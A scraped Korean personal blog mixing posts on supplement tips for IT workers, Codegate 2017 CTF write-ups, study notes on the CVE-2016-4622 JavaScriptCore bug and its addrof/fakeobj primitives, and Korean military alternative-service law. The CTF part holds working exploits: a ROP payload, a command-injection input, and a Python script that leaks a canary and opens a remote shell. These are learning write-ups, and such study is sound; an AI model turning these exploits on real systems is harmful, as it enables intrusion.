IT인들을 위한 건강챙기기 팁

씨디팔공/팁 2017.03.30 09:24
크리에이티브 커먼즈 라이선스
Creative Commons License

일찍자고 일찍 일어나는데 하루하루 체력이 좀비같고 아침에 일어나기도 힘들다가

아래 있는것들을 챙기고서부터 아침이 편해지고 집중이 잘돼서 소개합니다


[비타민 B]

처음엔 구내염때문에 먹었었는데 피로회복에 장난아니게 좋습니다

유명한 제품으로는 아로나민골드랑 같은회사에서 나온 엑세라민이 있는데


회사앞약국약사 : 아로나민은 두번 먹어야 하는데 엑세라민은 한번만 먹어도 돼요 엑세라민 한번 드셔보세요

우리엄마(약사) : 아로나민 골드가 제일 좋다. 엑세라민이 마진이 좀더 남아서 추천해준거다


이렇게 두 약사의 의견이 갈리는데

최고의 효과를 원한다면 아로나민 골드를 아침저녁으로 챙겨먹는게 낫고 저처럼 귀찮아서 그냥 아침에 먹고 말래 한다면 엑세라민이 낫습니다 그래서 전 엑세라민을 먹습니다



[오메가3]

오메가3는 인터넷에도 많긴한데 왠만하면 약국가서 사는게 낫습니다 약국에 좋은 제품이 많아요

오메가3는 혈액순환 개선이 도움이 많이 되는데

운동안해서 혈액순환 잘 안되는건 어쩔수 없다고 해도 

담배 + 술 + 기름진음식(고기, 튀김) 이 조합으로 혈액순환 안되는건 정말 지옥입니다

이렇게 운동 외적인 요인으로 혈액순환 안되는걸 최대한 살려주는게 오메가3입니다


[유산균]

유산균도 먹는방법이 여러가지가 있는데

알약으로 먹을수도 있고 가루로도 있고 액상도 있습니다

저는 가루로 먹는데

유산균은 장운동을 활발하게 하고 면역력을 슈퍼 좋게 해준다고 합니다

아침에 황금색 바나나똥 볼 수 있습니다

제가 먹는건 대웅제약 락피더스 입니다



[생식]

아침에 밥먹기는 귀찮고 뭔가 건강은 챙겨야할것 같고 할 때 생식 먹으면 좋습니다

http://item2.gmarket.co.kr/Item/detailview/Item.aspx?goodscode=909699985

전 이거 먹는데 좋습니다 매주 한 통씩 사서 먹습니다

이거 살 때 컵을 같이사서 생식 타먹은다음에 설거지 귀찮으니까 그 컵에 그냥 하루종일 물 마시면 됩니다

인터넷에 쳐보면 생식이 좋지 않을수도 있다고 하는데 우리엄마가 좋댔으니 개좋습니다



[물 2리터]

물 정말 중요합니다

물 하루에 2리터짜리 한병씩 계속 먹은지 다섯달정도 됐는데

코딩하다가 아 집중안돼 하는 순간은 대부분 수분부족입니다

물 좀 먹고 코딩하다가 집중안될때 물마시면 바로 다시 집중 개잘됩니다

물 2리터씩 맨날 먹으면 몸이 좋아지는게 체감됩니다

물 2리터짜리 6개 들이가 3천원, 삼다수는 6천원이니까

그냥 월요일 출근하실때 6개들이 하나 사서 하루종일 옆에 놓고 집중안될때마다 드시면 8시간이면 2리터 다먹습니다

그리고 더 좋은건 제가 이걸로 금연 성공했습니다

물 많이 마시면 노폐물이 많이 배출된다고 하는데 물을 계속 먹으면 화장실을 주기적으로 가게 됩니다

근데 초기에는 물을 좀 마시고 한 오후 두세시쯤부터 화장실을 가기 시작했는데

요즘은 오전부터 바로 화장실을 계속 가게 되는 변화도 생기고 그렇습니다

긍정적인 변화일꺼라 생각하고 있는데 사실 잘은 모릅니다 ㅋㅋ



[간보호제]

이거 특히 또 중요하죠

특히 술,담배 많이 하시는 분들은 간보호제 꼭 챙겨먹지 않으면 미래가 참혹합니다

밀크씨슬이 제일 유명한데 많이 드시는분들은 꼭 고함량으로다가 드세요

전 녹십자에서 나온 실리웰 골드 먹습니다


[남성건강]

민망한 주제여서 맨 마지막에 씁니다

민망하긴 하지만 이게 중년층만 적용되는게 아니고

10대 20대 30대여도 관리하지 않으면 위험합니다

남성호르몬이 간에서 분비되는 것으로 알려져 있는데 술 많이 드시는 분들도 위험하겠죠

남성호르몬에 좋은걸로는 유명한게 많은데 뭐 산수유, 야관문, 복분자, 아연, 홍삼 이런것들이 다 좋다고 돼있는데 하나하나 다 챙겨먹기는 어렵고 그냥 종합으로 돼있는거 먹는게 편합니다

저는 황기단이랑 흑마늘먹는데 확실히 좋습니다(체력에)


[잠]

잠좀잡시다

신고

'씨디팔공 > ' 카테고리의 다른 글

IT인들을 위한 건강챙기기 팁  (2) 2017.03.30
LLVM 인스트럭션 타입이랑 같이 출력  (0) 2016.06.10

설정

트랙백

댓글

codegate 2017

크리에이티브 커먼즈 라이선스
Creative Commons License

https://github.com/ctfs/write-ups-2017/tree/master/codegate-prequals-2017/pwn



meow

분석이 어려워보이지만 어려워보이는코드는 다 분석할필요가 없는 코드들입니다

그냥 md5 평문만 찾아내서 gdb로 0x12000이랑 0x14000코드를 보면 되는데

0x12000에서는 write(); read(0, rbp+0x8, 0x18) 을 하는데 처음에는 rbp-0x8로 봐서 아 리턴까지만 딱 덮게 해주네 라고 생각했는데 rbp+0x8이라서 이상함을 느꼈습니다

그래서 14000을 보니 execve가 있고 그 뒤에 /bin/sh랑 pop rdi;ret 이 있어서 그거 이용해서 풀면됩니다


(perl -e 'print "\$W337k!++y\n", "3\n", "\x36\x40\x01\x00\x00\x00\x00\x00", "\x29\x40\x01\x00\x00\x00\x00\x00", "\x00\x40\x01\x00\x00\x00\x00\x00"';cat)|./meow




babyMISC


첫스텝은 base64 encoded string은 다르지만 같은 decoded value를 만듭니다

바이너리에 비교대상 base64는 있으니 그걸 decode해서 뒤에 \x00 하나 붙여주면 길이는 같지만 다른 base64 문자열이 나옵니다

두번째스텝은 두개의 base64 decode string이 같지만 encoded string은 달라야 합니다 cd80, cd80\x00\x00\x00 으로 각각 넣어줍니다

세번째스텝은 filter문제인데 쉘에서 base64 -d  로 하면 널바이트를 무시해주기 때문에 \x00cat flag.txt\x00 한걸 넣었습니다


 ⚡ root@cd80  ~/tmp  ./BabyMISC 

[*] Ok, Let's Start. Input the write string on each stage!:)

[*] -- STAGE 01 ----------

[+] KEY : 


[+] Input > 

TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA

[*] USER : N0_m4n_c4l1_ag4in_Y3st3rd4y:(

[+] -- NEXT STAGE! ----------

[*] -- STAGE 02 ----------

[+] Input 1 

Y2Q4MAAA

[+] Input 2 

Y2Q4MAAAAA==

[+] -- NEXT STAGE! ----------

[*] -- STAGE 03 ----------

[+] Ok, It's easy task to you, isn't it? :)

[+] So I will give a chance to execute one command! :)

[*] Input > 

AGNhdCBmbGFnLnR4dAA=

#                                                       echo -n AGNhdCBmbGFnLnR4dAA= | base64 -d | sh

y0u_pwned_y0ur_b4by

 ⚡ root@cd80  ~/tmp  


babypwn


system함수가 바이너리안에 박혀있어서 카나리만 우회하면되는데 카나리는 A 41개 보내면 저한테 알려줍니다 넣고 /bin/sh만 recv하게 해서 실행합니다


from socket import *

from struct import pack,unpack

p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]



## get canary ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

s.send("A"*41)

print s.recv(4096)

ret = s.recv(4096)

canary = ret.split("\n===============================")[0].split("A"*41)[1]

canary = up('\x00'+canary)

print "canary: 0x%08x"%canary

s.close()


cmd = "/bin/sh 0<&4 1>&4 2>&4\x00"


## exploit ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

payload = "A"*40

payload += p(canary)

payload += "A"*12


payload += p(0x80486e0) # recv@plt

payload += p(0x8048eec) # ppppr

payload += p(4)

payload += p(0x804b1b4) # bss

payload += p(len(cmd))

payload += p(0)


payload += p(0x8048620) # system

payload += p(0x41414141)

payload += p(0x804b1b4) # bss


s.send(payload)

print s.recv(4096)

s.send("3\n")

print s.recv(4096)

s.send(cmd)

while True:

    tmp = raw_input("$ ")

    if not len(tmp):

        continue

    else:

        s.send(tmp + "\n")

    print s.recv(4096)

s.close()


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

Attacking Javascript Engines - Building Exploit Primitives

크리에이티브 커먼즈 라이선스
Creative Commons License

이제 저는 취약점이 발생하는 이유를 알고 디버깅 하는 법을 압니다

오늘 정리할 챕터는 챕터 4이고, 이름은 Building exploit primitives입니다.

제목을 보면 취약점을 공격하기 위해 필요한 몇가지를 만드는 방법에 대한 챕터입니다


지금까지 대회 문제를 풀면서 익스를 할땐, 코드 상 취약점, 각 보호기법들을 우회할 수 있는 취약점들을 이용해서, GOT를 릭해 프로그램에서 사용하지 않는 라이브러리 함수를 실행시켜 쉘을 획득했습니다

아직은 각각이 왜 필요하게 되었는지는 알 수 없지만 이 문서에서는 익스플로잇을 위해 메모리릭과 페이크객체가 필요하다고 하고, 각각을 addrof, fakeobj라고 줄여 부른다고 약속합니다


Prerequisites: Int64

지금까지 알아본 바로는 제목에 나와있듯이 Int64라는 형을 어떻게 표현해야 할지 궁금합니다

왜냐면 Int형을 저장할 땐 FFFF 태그를 붙이고 그 외에 48비트로는 Int64형이라고 할 수 없기 때문이죠

8바이트를 풀로 사용하는 데이터형은 지금까지는 Float형밖에 없었습니다

하지만 이 문서에서 [17]로 링크한 ECMA 표준을보면 표준상으로는 모든 숫자가 float이라고 합니다. 하지만 실제로 구현된 JS 엔진들은 성능상의 문제로 32비트 int형을 별도로 만들어 사용한다고 하고, 필요할 때 이를 float형으로 바꿔 사용한다고합니다(32비트 안에서 표현이 불가능할때)

자바스크립트 데이터 타입은 원래 64비트 정수의 표현이 불가능하기 때문에, JSC에서는 이를 위해 별도의 모듈을 구현해 사용한다고 합니다. 그것이 Int64라고 불리구요(이 설명은 맞지 않습니다 fakeobj를 할때 알았는데 int64는 문서를 쓴사람이 임의로 만든것 같습니다 https://github.com/saelo/jscpwn/  여기서 받아서 쓰면되고, 실행은 ./jsc utils.js Int64.js fakeobj.js로 하면됩니다)


Int64는 제가 보기에는 Object의 형태로 사용이 되는것으로 보이고 아래와 같은 특징을 가집니다

  • (String, Number, Byte) -> Int64로의 형변환이 가능합니다
  • Int64의 덧셈과 뺄셈이 가능하고 assignXXX 메소드를 이용한다는데 assignAdd와 assignSub입니다
  • Add와 Sub의 함수의 리턴값으로 새로운 오브젝트를 만들 수 있다고 합니다

아 여기까지 보면은 Int64 인스턴스를 만들어서

Int64 my_var = Int64("123948120830"), 즉 String을 이용한 초기화가 가능하고

my_var.assignXXX(123123) // 이렇게 사용된다는 거 같네요

그리고

Int64 new_var = Add(my_var, 123) // 이런식으로 사용된다는게 지금까지 세개 특징의 의미입니다


그리고 마지막 특징으로는 Double과 Int64간의 형변환이 가능하다는것을 들었습니다

이거는 뭐 원래 double이 64비트를 풀로 이용하니 어려울 게 없는 특징입니다

변환하는 방법은 Int64("12341234").asDouble() 입니다




addrof and fakeobj

이 두가지 요소 모두 JSC가 double 배열을 저장할 때 NaN-Boxing 표현방식에 구애받지 않는다는점을 이용한다고 합니다

double은 사실 0001-fffe, 즉 태그가 0이나 ffff가 아닌 모든 것이기 때문에 규칙이 있다고 보기는 어렵죠. 그런 말을 하는 것 같습니다

즉, 우리가 double 배열을 사용하면은 결국 JSValue(Nan-Boxed value)를 사용하는 것과 똑같아서 편해진다 이런 말을 하는것 같습니다


그다음에 메모리릭을 하는 방법에 대해 설명을 하는데

[메모리릭]

1. double 배열을 생성한다. 내부적으로는 ArrayWithDouble이라는 타입을 가진 array가 생성이 된다

2. The Bug 섹션에서 했던대로 valueOf를 이용해서 아래와 같은 오브젝트를 생성한다

2-1. 1에서 만든 배열을 shrink시킨다(shrink시킬때 threshold보다 높게 하면 reallocate되는 것 다시 기억)

2-2. 우리가 주소를 알고자 하는 객체만 포함하고 있는 배열을 생성한다. 이 배열은 2-1에서 reallocate된 배열의 바로 뒤에 위치할 것이다(왜냐하면 butterfly들이 저장된 copied space들은 할당이 선형으로 이뤄지기 때문에, 섹션 3 힙에서 언급되는 내용입니다)

2-3. valueOf에서 return할때 어레이의 새 사이즈(The Bug에서는 a.length=0, return 10; 했음)보다 큰 값을 리턴한다

3. slice를 2에서 만든 오브젝트를 인자로해서 호출하라는데 그냥 a.slice({valueOf:~~}); 하란 뜻이다


이렇게 보고 쓰고 나니까 이제 메모리릭이 어떻게 이뤄지는지 알겠습니다 제일 중요한것은 butterfly들은 copied space에 저장된단 내용인데, 섹션 3에서 한번 중요하다고 언급을 이미 한 내용입니다. 섹션3은 그냥 휙휙 읽으면 되는 섹션이기때문에 따로 블로그에 정리하진 않았습니다


우선은 위에 있는 스텝대로 그대로 해봤습니다





그다음에 값을 보고 메모리를 검사해본 화면입니다

 


보면은 b에 들어가있는 0xcd80cd80, 즉 b가 갖고있는 값 자체가 실제로 출력이 됐고

array 타입 자체가 float형이기 때문에 number가 float형으로 저장된 것 같습니다

그러면 한번 array의 주소도 출력이 되는지 확인 해보겠습니다


오옹홍~

메모리상에서는 출력이 됐고


print()에서도 아주 잘 출력이 돼있었습니다

이걸로 봤을 때 우리가 릭한 값은 slice의 결과 값의 인덱스 3번에 있습니다(0부터 셌을 때

그래서 문서에서 함수로 구현해둔것을 보면


이렇게 array를 만들고 a.slice로 리턴된것의 3번째 인덱스를 리턴하고 있습니다


===================================================


자 그러면 이제 addrof는 완벽하게 이해를 했습니다

addrof를 이해하기위해 가장 중요한것은 섹션 2. The Bug에서 얘기했던 shrink와 allocate,

그리고 섹션 3에서 얘기한 copied space에 butterfly들이 할당된단점과 butterfly들은 선형으로 할당된단점

이렇게 총 네가지만 제대로 이해하고 있으면 되는 것 같습니다



다음으로 fakeobj를 봅시다

fakeobj는 반대로 JSObject포인터를 직접 만드는 거라고 합니다

문서에서 설명한 순서를 먼저 보면


1. 오브젝트들의 배열을 생성함(0000태그, 아마도?), 이 어레이는 ArrayWithContiguous라는 타입을 갖는 배열임

2. 마찬가지로 valueOf를 이용해서 아래와 같은 오브젝트를 만듬

2-1. reallocate를 위한 shrinking

2-2. double 배열을 생성하는데, 우리가 조작하고자하는 JSObject의 비트 패턴과 일치하도록 만든다고 하는데 이건 무슨 뜻일까?

2-3. a.slice로 리턴되는 배열의 length를 조작하기 위해 return 0이상


사실 addrof는 이렇게 쓰고나서 바로 이해를 하고 디버깅으로 확인만해봤는데

fakeobj는 썼는데 무슨뜻인지 하나도 모르겠습니다

디버깅을 해서 이해해보도록 하겠습니다


테스트코드는 프랙문서에 있는 fakeobj() 함수에 디버깅 브포를 위한 print만 붙였습니다



우선 맨처음 print(a)에서 메모리를 보면

예상한대로 나옵니다



아 근데 여기서 더 해봤는데 크래쉬가 자꾸나서 일단 오늘은 여기까지

fakeobj는 지금까지 이해한 바로는, 오브젝트의 배열을 만들고, 그 배열에 우리가 원하는 아무 주소나 써서(문서 작성자의 익스에서는 특정 배열+16의 주소) 그 주소를 오브젝트로써 접근해서 arbitrary write가 가능하게 하는 걸로 보임

그래서 addrof = arbitrary read

fakeobj = arbitrary write

addrof + fakeobj = pwn!



신고

설정

트랙백

댓글

Attacking Javascript Engines - The Bug

크리에이티브 커먼즈 라이선스
Creative Commons License

오늘은 문서의 2장인 버그 자체에 대한 설명을 정리합니다



The Bug

우선 이 버그는 ECMA 표준에 정의 돼있는 Array.prototype.slice(start, end) 메소드의 JavaScriptCore 구현체에서 발생합니다.

JavaScriptCore에서는 Source/JavaScriptCore/runtime/ArrayPrototype.cpp 에 arrayProtoFuncSlice 라는 이름으로 구현돼있습니다


Array.prototype.slice는 php의 substring, python의 "asdf"[a:b] 등과 같이 배열이나 문자열을 slice하는 메소드 입니다


먼저 slice메소드를 사용하는 예시를 문서에 나온 그대로 보겠습니다

a.slice는

첫번째인자 <= N < 두번째 인자인 N번째 요소들의 집합을 만듭니다

그래서 1,3 으로 했을때

a[1], a[2] 두개인 [2,3]이라는 array가 만들어집니다




이 slice의 구현체를 봅시다

slice의 구현체는 

/root/browny/WebKit/320b1fc/webkit/Source/JavaScriptCore/runtime/ArrayPrototype.cpp

여기에 arrayProtoFuncSlice 라는 이름의 함수로 있습니다


아래는 문서에서 정리한 소스코드입니다

    // 1. Obtain the reference object for the method call
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    if (!thisObj)
        return JSValue::encode(JSValue());


    // 2. Retrive the length of the array
    unsigned length = getLength(exec, thisObj);
    if (exec->hadException())
        return JSValue::encode(jsUndefined());

    // 3. Convert the arguments (start and end index) into native integer types and clamp them to the range [0, length)
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

    // 4. Check if a species constructor should be used
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
    // We can only get an exception if we call some user function.
    if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
        return JSValue::encode(jsUndefined());

    // 5. Perform the slicing
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }

1. this를 구합니다. 즉 a.slice에서 a를 구합니다

2. 배열의 길이를 구합니다

3. begin에는 0번째인자, end에는 2번째 인자를 넣습니다. argumentClampedIndexFromStartOrEnd는 a.slice(-2, 4)나 a.slice(1, 5) 등에 대해서도 정상 작동하게 구현돼있습니다

4. species라는건 상속관계를 뜻하는것 같습니다. 어레이의 요소들이 바꼈을 때 새로 생성자를 호출해야되는지를 체크하는거 같기도 하네요 잘 모르겠습니다

5. fast slice를 호출합니다 ( 이 취약점은 fast slice 에서만 발생합니다 )


fast slice에서만 취약점이 발생한 이유는 문서에서 설명하고 있는데

slow slice에서는 요소를 가져올 때 오브젝트에 getProperty를 호출하고 hadExecption을 체크하는데 여기서 바운드 체크를 한다고 합니다



argumentClampedIndexFromStartOrEnd 함수는 이름이 참 긴데

두번째인자 (위의 slice코드에서 begin은 0, end는 1로 설정된 그 값)으로 인자를 가져오고

그 값을 toInteger해서 native 자료형으로 변경합니다


함수 분석을 모두 적기는 제가 힘들어서 대충 쓰면

toInteger에서 toNumber를 호출합니다

toNumber에서는 toPrimitive와, toPrimitive에서 리턴된 오브젝트에서 toNumber를 호출합니다

toPrimitive에서는  callToPrimitiveFunction<TypeHintMode::TakesHint>(exec, this, exec->propertyNames().toPrimitiveSymbol, preferredType); 를 호출합니다


callToPrimitiveFunction에서는 오브젝트의 toPrimitive함수를 호출합니다

primitive라는 용어는 https://developer.mozilla.org/en/docs/Glossary/Primitive 여기에 잘 설명 돼있습니다



이런식으로 인자가 number뿐만 아니라 String, Boolean, Symbol 등 다른 primitive의 경우에도 가능하다면 숫자로 변환시켜줍니다

유연한 형변환을 위한 구현인 것 같습니다

예를 들어서 서버에서 정수를 받아와서 인자에 바로 넣었는데 이런 유연한 형변환을 지원하지 않는다면 

func(a, b); 라고 하면 될것을

func(int(a), int(b)); 와 같이 쓰게 됩니다

이런 편의성을 지원하기 위해 만들어진 개념 같습니다


근데 이런 기능들이 특정 primitive에만 한정돼서 유연하다면 결국 number만 허용하는것과 다를게 없겠죠

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf

이 문서에서는 valueOf라는 메소드를 이용해 값을 조작하는데,

위 링크에 잘 설명이 돼있습니다

한번 따라해보면


이렇게 값을 참조할때 코드를 실행시키게 할 수 있습니다

CVE-2016-4622는 바로 이런 기능을 이용해서 공격하는 취약점입니다



이렇게 간단하게도 사용이 가능합니다


문서에 나와있는걸 똑같이 해보면


이렇게 앞의 0.123, 1.123을 제외하면 원래 있던 값이 사라졌습니다

아무리 length를 0으로 설정했어도 slice에서 10을 리턴했기 때문에

똑같이 a가 있던곳에서 10개만큼을 출력해 줄텐데

뒤에 값이 사라진 이유는 array의 length를 0으로 설정하면 실제 메모리상에서도 줄이면서  realloc을 하기 때문입니다


이게 첫길이와 그다음길이가 64이상 차이가 나야하는데, 그이유는 문서에 쉽게 설명돼있습니다

64바이트 이상 차이가 나지 않으면 배열을 재할당하는것보다 배열 요소를 모두 지우고 그냥 쓰는게 낫다고 합니다



그런데 0.123, 1.123은 왜 남아있고 그뒤에부터 삭제돼있는지 알아봅시다

그걸 알아보기 위해선 a라는 변수가 어떻게 변했는지를 알아야겠죠

그래서 a.slice를 하기전과 후에 print(a)를 넣고, print함수의 구현체에 breakpoint를 걸어 확인해봅시다




섹션 5.2 디버깅 예제

우선 더 쉬운 예제가 섹션 5.2에 있습니다

이 문서 쓰신분이 디버깅 방법에 대해서는 좀 대충대충 넘어가셔갖고 혼자 삽질하면서 깨우친것들인데

우선 디버깅하기 제일 쉬운방법은 JavaScriptCore/jsc.cpp 에 있는 functionPrint 함수에다가 exec->argument(0); 을 %p로 찍는 코드를 집어넣고

lldb나 gdb에서 functionPrint에 브레이크포인트를 건다음

실행하다가 브포가 걸리면 fini로 함수를 실행시킵니다

그러면 인자의 주소가 나오는데 그걸 x/16gx로 보시면됩니다(거의 모든 데이터형이 8바이트기 때문에 g로 봅니다)



우선 jsc.cpp의 functionPrint에 디버깅코드 추가




디버깅 대상 오브젝트고, 저는 print함수에 브포를 걸어서 확인할꺼기 때문에

섹션 5.2에서는 선언만했지만 저는 print도 넣었습니다


gdb로 jsc열고 functionPrint에 브레이크포인트 걸음


실행하고 브포걸린 상태에서 fini로 함수를 실행하면

exec->argument(0), 즉 obj의 주소가 나옴



보면은 일단 첫 8바이트는 JSCell이라고 합니다 뭔지는 일단 저도 스킵하고

두번째가 Butterfly 포인터라고 합니다

근데 null로 설정 돼 있는 이유는 문서에서 설명하기로는 모든 프로퍼티들이 인라인으로 저장돼서라는데 먼소린진 모르겠다

근데 그다음 값들은 태그를 이해하고 있으면 이제 잘보인다

0xffff000000001337 == Integer 0x1337

0x0000000000000006 == Pointer ( False )

0x402bbd70a3d70a3d == 태그가 1~0xfffe니까 double,

0x00007fffb1fcfee0 == 태그가 pointer니까 포인터


double

여기서 유일하게 해석이 어려웠던게 double 이였는데

0x402bbd70a3d70a3d 가 double인건 알겠는데 

https://gregstoll.dyndns.org/~gregstoll/floattohex/ 여기서 converting하면 13.37이 아니라 13.87로 나옵니다

그래서 왜그런가 하다가 floating point 태그가 0x0001 부터 시작하니까 0x0001000000000000을 빼주면 되지 않을까 싶어서 빼니까 13.37이 잘 나왔습니다

그러니까

0x402bbd70a3d70a3d 으로 돼있으면

0x402abd70a3d70a3d 로 값을 읽어야합니다

// 아니 근데 빼야 제대로된 값이 나올때가 있고 안빼야 나올때가 있는데 대체 어떨때 빼야되는거지



array

float은 그렇고 우리는 지금 array를 보고 있기 때문에

0x7fffb1fcfee0을 봅시다

보면은 위에서 obj 자체를 봤을때는 butterfly pointer가 null이였는데 여기서는 값이 설정 돼있습니다

그 이유를 생각해보면 butterfly는 포인터 왼쪽에 property, 오른쪽에 elements를 가지는 구조인데

배열은 element의 나열이 필요하기 때문에 butterfly pointer가 설정돼있는 것 같습니다

그래서 확인해보면


array에 있었던 Integer형의 1,2,3,4가 들어있습니다

그럼 이제 우리는 array를 보는 방법도 압니다




문서에 나와있는 예제 코드 분석

그러면 이제 드디어 왜 0.123, 1.123은 남아있고 그다음은 이상한값, 그리고 그 뒤에는 0으로 채워져있었는지 확인해봅시다


먼저 디버깅을 위해 print를 추가한 코드입니다

첫 print에서 array의 주소를 확인하고

두번째 print에서 array의 주소를 다시 확인해봅니다



첫 print에서 본 배열입니다

배열 element들의 시작은 0x7fffb33e4148부터입니다



그다음 slice를 하면서 valueOf에서 length를 0으로 바꿔버렸고

그게 JSArray::setLength에서 정한 threshold보다 차이가 높기 때문에 reallocate가 발생해 배열의 시작주소가 0x7fffb33e4148 에서 0x7fffb33e4740으로 바꼈습니다

값들을 좀 살펴보면


이렇게 돼있고, 이 값은 print(b)에서 나오는 값과 똑같습니다

근데 여기에는 두번나오고 b에서는 한번나온다는점이 다른데, 그 다음 b는 어떻게 돼있나 보죠


우선은 아까 엄청 위에서 했었을때와 같은 값들이 출력이 됐구요

0.123, 1.123 이 있고 그다음 2.121995~~ 가 이제 무슨값이였는지 알게 됐습니다

이렇게 앞에 두개가 남아있는 이유는 아직은 알지 못하겠고

오늘은 여기까지만하고 내일 reallocateAndShrinkButterfly함수를 분석해봐야 알 것 같습니다

그냥 쉽게 생각할 수 있는건 slice의 첫 인자는 0으로 고정돼있으니까 0.123은 무조건 들어갈 거라고 예상할 수 있고, 1.123도 뭐 바로 다음이니까 들어갈 수 있긴 할텐데

정확한 코드 흐름을 내일 더 분석해봐야 알 것 같습니다


오늘은 여기까지

신고

설정

트랙백

댓글

정보보호 분야에서의 병역특례 제도를 통한 병역 이행에 관해

씨디팔공/글 2017.01.04 10:46
크리에이티브 커먼즈 라이선스
Creative Commons License

저도 지금 정보보안업체에서 근무하고 있는 미필로서 주변 친구들과도 병역 의무에 대해 얘기를 많이 나누는데, 대부분 전해듣거나 주워들은 얘기라 그냥 그렇다던데? 이렇게만 알고 있어서 제대로 알기 위해 정리합니다


이 글에서 정리하는 내용은 국가법령정보센터에서 제공하는 병역법 조항을 근거로 합니다


정의


병역법에서 우리가 얘기하는 병역 특례, 즉 보안 업체에서 근무하는 것으로 병역을 대체하는 복무에 대해서 정리 합니다.


16. "전문연구요원"이란 학문과 기술의 연구를 위하여 제36조에 따라 전문연구요원(專門硏究要員)으로 편입되어 해당 전문 분야의 연구업무에 복무하는 사람을 말한다.

17. "산업기능요원"이란 산업을 육성하고 지원하기 위하여 제36조에 따라 산업기능요원(産業技能要員)으로 편입되어 해당 분야에 복무하는 사람을 말한다.

18. "병역지정업체"란 전문연구요원이나 산업기능요원이 복무할 업체로서 다음 각 목의 업체를 말한다.

가. 제36조에 따라 병무청장이 선정한 연구기관, 기간산업체 및 방위산업체

나. 「농어업경영체 육성 및 지원에 관한 법률」 제19조에 따른 농업회사법인(이하 "농업회사법인"이라 한다)

다. 「농업기계화 촉진법」 제11조제2항에 따른 농업기계의 사후관리업체(이하 "사후관리업체"라 한다)


여기서 말하는 전문연구요원과 산업기능요원에 관한 조항인 36조를 보면


제36조(병역지정업체의 선정 등) ① 병무청장은 연구기관·기간산업체 및 방위산업체 중에서 전문연구요원이나 산업기능요원이 복무할 병역지정업체(농업회사법인과 사후관리업체는 제외한다)를 대통령령으로 정하는 기준에 따라 선정한다.  <개정 2016.5.29>

   ② 병역지정업체로 선정되지 아니한 연구기관·기간산업체 및 방위산업체가 제1항에 따라 선정된 병역지정업체를 인수하는 등 대통령령으로 정하는 사유에 해당하게 되면 병역지정업체로 선정된 것으로 본다.  <개정 2016.5.29>

   ③ 병무청장은 제1항에 따라 선정된 병역지정업체가 폐업 등 대통령령으로 정하는 사유에 해당하게 되면 병역지정업체의 선정을 취소할 수 있다.  <개정 2016.5.29>

   ④ 병무청장은 군(軍)에서 필요로 하는 인원의 충원에 지장이 없는 범위에서 전문연구요원이나 산업기능요원으로 편입할 수 있는 인원을 결정하고 대통령령으로 정하는 바에 따라 병역지정업체별 배정인원을 결정한다. 이 경우 산업기능요원의 편입 인원 결정 및 병역지정업체별 배정인원 결정과 관련하여 합리적인 이유 없이 학력 및 출신학교 등을 이유로 차별을 하여서는 아니 된다.  <개정 2014.12.30, 2016.5.29>

   ⑤ 관할 지방병무청장[병역지정업체 또는 「농어업경영체 육성 및 지원에 관한 법률」 제10조에 따른 후계농업경영인 및 후계어업경영인(이하 "후계농어업경영인"이라 한다)의 사업장이 있는 행정구역을 관할하는 지방병무청장을 말한다. 이하 이 절에서 같다]은 다음 각 호의 어느 하나에 해당하는 사람으로서 제39조에 따른 의무복무기간을 35세(제37조제1항제3호에 해당하는 사람은 37세)까지 마칠 수 있는 사람에 대하여는 전문연구요원(제3호에 해당하는 사람은 제외한다) 또는 산업기능요원으로 편입시킬 수 있다. 이 경우 현역병입영 대상자는 보충역에 편입한다.  <개정 2011.11.22, 2013.6.4, 2016.5.29>

1. 현역병입영 대상자

2. 사회복무요원 소집 대상인 보충역

3. 사회복무요원

   ⑥ 병역지정업체의 장은 약정한 근로조건을 성실히 이행하겠다는 서약서를 지방병무청장(병무지청장을 포함한다)에게 제출하여야 한다.  <개정 2016.5.29>

   ⑦ 제1항부터 제6항까지의 규정에 따른 병역지정업체의 선정·승계·선정취소, 전문연구요원 또는 산업기능요원으로의 편입 및 서약서의 제출에 필요한 사항은 대통령령으로 정한다.  <개정 2016.5.29>

  [전문개정 2009.6.9]

  [제목개정 2016.5.29] 


병역지정업체에 관해서는 다음 글에서 상세히 다루겠습니다

우선 36조 5항의 bold처리된 부분을 보면 제 39조를 베이스로 하면서

1. 현역병 입영 대상자(1급~3급)

2. 사회복무요원 소집 대상인 보충역(4급)

3. 사회복무요원(복무 중인 사회복무요원으로 생각됩니다)

위 세 호 중 하나에 해당된다면 전문연구요원 혹은 산업기능요원으로 근무할 수 있다고 되어 있고

1호에 해당하는 현역병 입영 대상자는 법적으로 보충역으로 편입된다고 합니다



제 39조에는 병특 복무기간에 대한 내용이 있습니다


  ① 전문연구요원과 산업기능요원은 해당 분야에서 다음 각 호의 구분에 따른 기간 동안 의무복무를 하여야 하며, 그 기간을 마치면 사회복무요원의 복무를 마친 것으로 본다.  <개정 2013.6.4., 2016.5.29.>

1. 전문연구요원: 3년

2. 산업기능요원: 2년 10개월. 다만, 사회복무요원 소집 대상인 보충역에서 편입된 산업기능요원은 2년 2개월로 하고, 사회복무요원으로 복무하다가 편입된 사람은 대통령령으로 정하는 기준에 따라 산정한 남은 복무기간으로 한다.

